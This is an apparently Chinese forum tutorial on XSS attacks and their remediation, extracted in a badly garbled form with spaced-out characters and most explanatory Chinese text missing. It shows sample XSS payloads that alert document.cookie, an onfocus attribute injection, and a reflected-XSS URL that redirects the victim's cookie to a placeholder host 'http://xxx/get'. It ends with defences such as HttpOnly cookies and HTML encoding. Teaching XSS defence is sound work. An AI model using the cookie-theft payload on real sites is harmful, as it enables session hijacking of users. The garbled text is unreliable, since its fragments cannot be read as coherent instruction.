[36] 2019-12-20_web攻防之xss攻击及漏洞恢复

文档创建者:s7ckTeam
浏览次数:8
最后更新:2025-01-15
2019-12-20_web攻防之xss攻击及漏洞恢复 w e b x s s   f 8   7 8 9 0   2 0 1 9 - 1 2 - 2 0 X S S   ( C r o s s   S i t e   S c r i p t i n g )     W e b ( J a v a S c r i p t ) ,   .     C o o k i e , t e x t b o x < i n p u t   t y p e = " t e x t "   n a m e = " a d d r e s s 1 "   v a l u e = " v a l u e 1 f r o m " > v a l u e 1 f r o m v a l u e 1 f r o m ,   " / > < s c r i p t > a l e r t ( d o c u m e n t . c o o k i e ) < / s c r i p t > < ! -   < i n p u t   t y p e = " t e x t "   n a m e = " a d d r e s s 1 "   v a l u e = " " / > < s c r i p t > a l e r t ( d o c u m e n t . c o o k i e ) < / s c r i p t > < ! -   " > J a v a S c r i p t     " o n f o c u s = " a l e r t ( d o c u m e n t . c o o k i e )               < i n p u t   t y p e = " t e x t "   n a m e = " a d d r e s s 1 "   v a l u e = " "   o n f o c u s = " a l e r t ( d o c u m e n t . c o o k i e ) " >   J a v a S c r i p t H T M L   E n c o d e X S S     H T M L E n c o d e   " "     R e f l e c t e d   X S S X S S S t o r e d   X S S X S S D O M - b a s e d   o r   l o c a l   X S S D O M X S S 1 .   R e f l e c t e d   X S S W e b < s c r i p t > a l e r t ( ' h a n d s o m e   b o y ' ) < / s c r i p t > ,     a l e r t   c o o k i e s Q Q h t t p : / / w w w . . . . . / s e a r c h ? n a m e = < s c r i p t > d o c u m e n t . l o c a t i o n = ' h t t p : / / x x x / g e t ? c o o k i e = ' + d o c u m e n t . c o o k i e < / s c r i p t >
1   2   2 .   S t o r e d   X S S / 访 / 1 .   < s c r i p t > a l e r t ( ' h a n d s o m e   b o y ' ) < / s c r i p t > 2 .   3 .   P S H T M L 1   2   s c r i p t H T M L 3 .   D o m - B a s e d   X S S D O M X S S w i f i w i f i 访 X S S 1 1   w i f i 2   D N S W i f i D H C P - D N S I P 3   w i f i h t t p h o s t 4   5   w i f i 使 H T T P 1 .   使 H T T P S H T T P S 使 使 c o o k i e h t t p   o n l y ,       J a v a s c r i p t   d o c u m e n t . c o o k i e c o o k i e .     t e x t b o x   H t m l   E n c o d e   H t m l   :   < s c r i p t > ,   < i f r a m e >   ,     & l t ;   f o r   < ,   & g t ;   f o r   > ,   & q u o t   f o r J a v a S c r i p t     " o n c l i c k = " ,   " o n f o c u s "   p s : 广 广 ~

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则